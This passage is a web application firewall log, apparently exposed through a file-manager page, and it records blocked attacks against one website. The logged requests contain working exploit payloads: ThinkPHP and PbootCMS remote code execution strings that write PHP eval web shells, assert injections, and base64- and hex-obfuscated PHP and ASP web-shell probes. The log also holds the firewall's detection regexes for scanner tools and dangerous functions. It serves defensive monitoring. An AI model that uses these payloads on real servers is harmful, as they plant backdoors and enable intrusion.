/
home
/
wwwlogs
/
free_waf_log
/
Upload File
HOME
["2022-10-21 00:41:18","39.103.159.65","GET","\/","Apache-HttpClient\/4.5.12 (Java\/1.8.0_251)","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:Apache-HttpClient\/4.5.12 (Java\/1.8.0_251)","GET \/ HTTP\/1.1\nhost:www.boyaminge.com\naccept-encoding:gzip,deflate\nuser-agent:Apache-HttpClient\/4.5.12 (Java\/1.8.0_251)\nconnection:Keep-Alive\n\n"] ["2022-10-21 16:46:15","122.188.160.114","GET","\/?s=index\/think\\app\/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=dpZ8W.php&vars[1][]=xwjRV%3C%3Fphp+%40eval%28%24_POST%5Bl%5D%29%3B+%3F%3Eblshell","Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm)","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vars[1][]2:xwjRV<?php @eval($_POST[l]); ?>blshell","GET \/?s=index\/think\\app\/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=dpZ8W.php&vars[1][]=xwjRV%3C%3Fphp+%40eval%28%24_POST%5Bl%5D%29%3B+%3F%3Eblshell HTTP\/1.1\nhost:boyaminge.com\nconnection:close\naccept-encoding:gzip\nuser-agent:Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm)\n\n"] ["2022-10-21 16:46:16","122.188.160.114","GET","\/?s=index\/\\think\\template\\driver\\file\/write&cacheFile=iTlwf.php&content=St9sa%3C%3Fphp+%40eval%28%24_POST%5Bl%5D%29%3B+%3F%3Eblshell","Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm)","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> content:St9sa<?php @eval($_POST[l]); ?>blshell","GET \/?s=index\/\\think\\template\\driver\\file\/write&cacheFile=iTlwf.php&content=St9sa%3C%3Fphp+%40eval%28%24_POST%5Bl%5D%29%3B+%3F%3Eblshell HTTP\/1.1\nhost:boyaminge.com\nconnection:close\naccept-encoding:gzip\nuser-agent:Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm)\n\n"] ["2022-10-21 16:46:20","122.188.160.114","GET","\/index.php\/list\/5\/?current={pboot:if(eval\\\\($_GET['a']))}1{\/pboot:if}&a=fputs%28fopen%28base64_decode%28%27eC5waHA%27%29%2C%27w%27%29%2C+base64_decode%28%27PD9waHAgQGV2YWwoJF9QT1NUWydibCddKTsgPz5ibHNoZWxs%27%29%29","Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm)","args","base64_decode\\( >> a:fputs(fopen(base64_decode('eC5waHA'),'w'), base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydibCddKTsgPz5ibHNoZWxs'))","GET \/index.php\/list\/5\/?current={pboot:if(eval\\\\($_GET['a']))}1{\/pboot:if}&a=fputs%28fopen%28base64_decode%28%27eC5waHA%27%29%2C%27w%27%29%2C+base64_decode%28%27PD9waHAgQGV2YWwoJF9QT1NUWydibCddKTsgPz5ibHNoZWxs%27%29%29 HTTP\/1.1\nhost:boyaminge.com\nconnection:close\naccept-encoding:gzip\nuser-agent:Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm)\n\n"] ["2022-10-21 16:46:20","122.188.160.114","GET","\/type.php?template=tag_(){};@unlink(FILE);print_r(2e3cb);assert($_POST[wZ5Pt]);{\/\/..\/rss","Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm)","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> template:tag_(){};@unlink(FILE);print_r(2e3cb);assert($_POST[wZ5Pt]);{\/\/..\/rss","GET \/type.php?template=tag_(){};@unlink(FILE);print_r(2e3cb);assert($_POST[wZ5Pt]);{\/\/..\/rss HTTP\/1.1\nhost:boyaminge.com\nconnection:close\naccept-encoding:gzip\nuser-agent:Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm)\n\n"] ["2022-10-21 20:36:46","103.149.90.250","POST","\/data\/cache\/system.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> codex:@ eval (base64_decode($_POST[z0]));","POST \/data\/cache\/system.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:347\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/data\/cache\/system.php\n\nz0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7&codex=@ eval (base64_decode($_POST[z0]));"] ["2022-10-21 20:36:46","103.149.90.250","POST","\/glass.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> a:@ eval (base64_decode($_POST[z0]));","POST \/glass.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:343\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/glass.php\n\na=@ eval (base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7"] ["2022-10-21 20:36:49","103.149.90.250","POST","\/7.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 1:Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")","POST \/7.asp HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:797\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/7.asp\n\n1=Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-10-21 20:36:58","103.149.90.250","POST","\/config\/admindes.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yuyu:Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")","POST \/config\/admindes.asp HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:800\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/config\/admindes.asp\n\nyuyu=Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-10-21 20:37:00","103.149.90.250","POST","\/huon.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> roce:@ eval (base64_decode($_POST[z0]));","POST \/huon.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:346\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/huon.php\n\nroce=@ eval (base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7"] ["2022-10-21 20:37:05","103.149.90.250","POST","\/dk2.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> whoami:@ eval (base64_decode($_POST[z0]));","POST \/dk2.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:348\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/dk2.php\n\nwhoami=@ eval (base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7"] ["2022-10-21 20:37:06","103.149.90.250","POST","\/kwyuj.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> ysy:@ eval (base64_decode($_POST[z0]));","POST \/kwyuj.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:345\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/kwyuj.php\n\nysy=@ eval (base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7"] ["2022-10-21 20:37:06","103.149.90.250","POST","\/kwyuj.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","60秒以内累计超过6次以上非法请求,封锁180秒","POST \/kwyuj.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:345\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/kwyuj.php\n\nysy=@ eval (base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7"] ["2022-10-21 20:40:07","103.149.90.250","POST","\/data\/chao.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> pg123:@ eval (base64_decode($_POST[z0]));","POST \/data\/chao.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:347\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/data\/chao.php\n\nz0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7&pg123=@ eval (base64_decode($_POST[z0]));"] ["2022-10-21 20:40:11","103.149.90.250","POST","\/data\/huanque.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> pg123:@ eval (base64_decode($_POST[z0]));","POST \/data\/huanque.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:347\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/data\/huanque.php\n\nz0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7&pg123=@ eval (base64_decode($_POST[z0]));"] ["2022-10-21 20:40:15","103.149.90.250","POST","\/data\/piaoyanao.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> pg123:@ eval (base64_decode($_POST[z0]));","POST \/data\/piaoyanao.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:347\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/data\/piaoyanao.php\n\nz0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7&pg123=@ eval (base64_decode($_POST[z0]));"] ["2022-10-21 20:40:19","103.149.90.250","POST","\/qin.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> pg123:@ eval (base64_decode($_POST[z0]));","POST \/qin.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:347\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/qin.php\n\nz0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7&pg123=@ eval (base64_decode($_POST[z0]));"] ["2022-10-21 20:40:22","103.149.90.250","POST","\/zhang.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> pg123:@ eval (base64_decode($_POST[z0]));","POST \/zhang.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:347\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/zhang.php\n\nz0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7&pg123=@ eval (base64_decode($_POST[z0]));"] ["2022-10-21 20:40:25","103.149.90.250","POST","\/congyuan.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> pg123:@ eval (base64_decode($_POST[z0]));","POST \/congyuan.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:347\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/congyuan.php\n\nz0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7&pg123=@ eval (base64_decode($_POST[z0]));"] ["2022-10-21 20:40:30","103.149.90.250","POST","\/guanjie.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> pg123:@ eval (base64_decode($_POST[z0]));","POST \/guanjie.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:347\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/guanjie.php\n\nz0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7&pg123=@ eval (base64_decode($_POST[z0]));"] ["2022-10-21 20:40:30","103.149.90.250","POST","\/guanjie.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","60秒以内累计超过6次以上非法请求,封锁180秒","POST \/guanjie.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:347\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/guanjie.php\n\nz0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7&pg123=@ eval (base64_decode($_POST[z0]));"] ["2022-10-21 20:43:30","103.149.90.250","POST","\/data\/5.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 90:Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")","POST \/data\/5.asp HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:798\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/data\/5.asp\n\n90=Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-10-21 20:43:33","103.149.90.250","POST","\/data\/6.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 90:Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")","POST \/data\/6.asp HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:798\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/data\/6.asp\n\n90=Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-10-21 20:43:37","103.149.90.250","POST","\/data\/8.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 90:Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")","POST \/data\/8.asp HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:798\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/data\/8.asp\n\n90=Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-10-21 20:43:41","103.149.90.250","POST","\/data\/9.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 90:Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) 